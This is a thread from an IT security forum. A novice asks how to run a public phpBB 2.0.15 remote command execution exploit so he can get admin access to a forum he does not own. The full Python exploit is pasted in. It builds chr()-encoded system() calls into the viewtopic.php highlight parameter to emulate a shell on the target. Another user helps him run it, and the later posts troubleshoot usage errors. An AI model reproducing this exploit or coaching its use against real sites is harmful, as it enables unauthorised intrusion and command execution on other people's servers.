Waraxe IT Security Portal

steve348 · Regular user

Okay, so ive have the exploit code, paste it into the correct program (python or perl) and that is as far as i get. Where and how do i input the information of the website that i am trying to hack (server, website, etc.)?

I am completley new to programming, and only getting into this because i really need to get admin access into a forum. Help is GREATLY appreciated.

Neverhood · Regular user

mention the exploit plz

steve348 · Regular user

Okay, here is one example. I saved and executed, and now what? Where do i enter the details about the website i want to exploit?

#!/usr/bin/pyth0n
#
############################################################### this exploit for
# phpBB 2.0.15
print "\nphpBB 2.0.15 arbitrary command execution eXploit" # emulates a shell,
print " 2005 by rattle@awarenetwork.org" # rather than
print " well, just because there is none." # sending a single
# command.
import sys ####
from urllib2 import Request, urlopen
from urlparse import urlparse, urlunparse
from urllib import quote as quote_plus

INITTAG = '<g0>'
ENDTAG = '</g0>'

def makecmd(cmd):
return reduce(lambda x,y: x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))

_ex = "%sviewtopic.php?t=%s&highlight=%%27."
_ex += "printf(" + makecmd(INITTAG) + ").system(%s)."
_ex += "printf(" + makecmd(ENDTAG) + ").%%27"

def usage():
print """Usage: %s <forum> <topic>

forum - fully qualified url to the forum
example: http://www.host.com/phpBB/

topic - ID of an existing topic. Well you
will have to check yourself.

"""[:-1] % sys.argv[0]; sys.exit(1)

if __name__ == '__main__':

if len(sys.argv) < 3 or not sys.argv[2].isdigit():
usage()
else:
print
url = sys.argv[1]
if url.count("://") == 0:
url = "http://" + url
url = list(urlparse(url))
host = url[1]
if not host: usage()

if not url[0]: url[0] = 'http'
if not url[2]: url[2] = '/'
url[3] = url[4] = url[5] = ''

url = urlunparse(url)
if url[-1] != '/': url += '/'

topic = quote_plus((sys.argv[2]))

while 1:

try:
cmd = raw_input("[%s]$ " % host).strip()
if cmd[-1]==';': cmd=cmd[:-1]

if (cmd == "exit"): break
else: cmd = makecmd(cmd)

out = _ex % (url,topic,cmd)

try: ret = urlopen(Request(out)).read()
except KeyboardInterrupt: continue
except: pass

else:
ret = ret.split(INITTAG,1)
if len(ret)>1: ret = ret[1].split(ENDTAG,1)
if len(ret)>1:
ret = ret[0].strip();
if ret: print ret
continue;

print "EXPLOIT FAILED"

except:
continue

Neverhood · Regular user

when u run the exploit it asks for server and forum directory itself. try using active perl software to compile the exploit

http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.7.813-MSWin32-x86-148120.msi

steve348 · Regular user

Ok i did that, but its still not working. Isn't the code designed for Python? When i compile and execute it in python i get the following message:

phpBB 2.0.15 arbitrary command execution eXploit
2005 by rattle@awarenetwork.org
well, just because there is none.
Usage: C:\Documents and Settings\Steve\Desktop\exploit1.pyw <forum> <topic>

forum - fully qualified url to the forum
example: http://www.host.com/phpBB/

topic - ID of an existing topic. Well you
will have to check yourself.

Traceback (most recent call last):
File "C:\Documents and Settings\Steve\Desktop\exploit1.pyw", line 43, in ?
usage()
File "C:\Documents and Settings\Steve\Desktop\exploit1.pyw", line 29, in usage
print """Usage: %s <forum> <topic>
SystemExit: 1
>>>

I have no idea what to do. Confused

Neverhood · Regular user

oh i am so sorry yes this code is designed for PYTHON.

steve348 · Regular user

I've narrowed it down to this section of the code. Somewhere in that last line im guessing i type in my url, but im not sure. Can someone verify?

def usage():
print """Usage: %s <forum> <topic>

forum - fully qualified url to the forum
example: http://www.host.com/phpBB/

topic - ID of an existing topic. Well you
will have to check yourself.

"""[:-1] % sys.argv[0]; sys.exit(1)

steve348 · Regular user

ok so i got an exploit working for perl, but it was unsuccesful. When it says to input the topic number, is this just any random topic?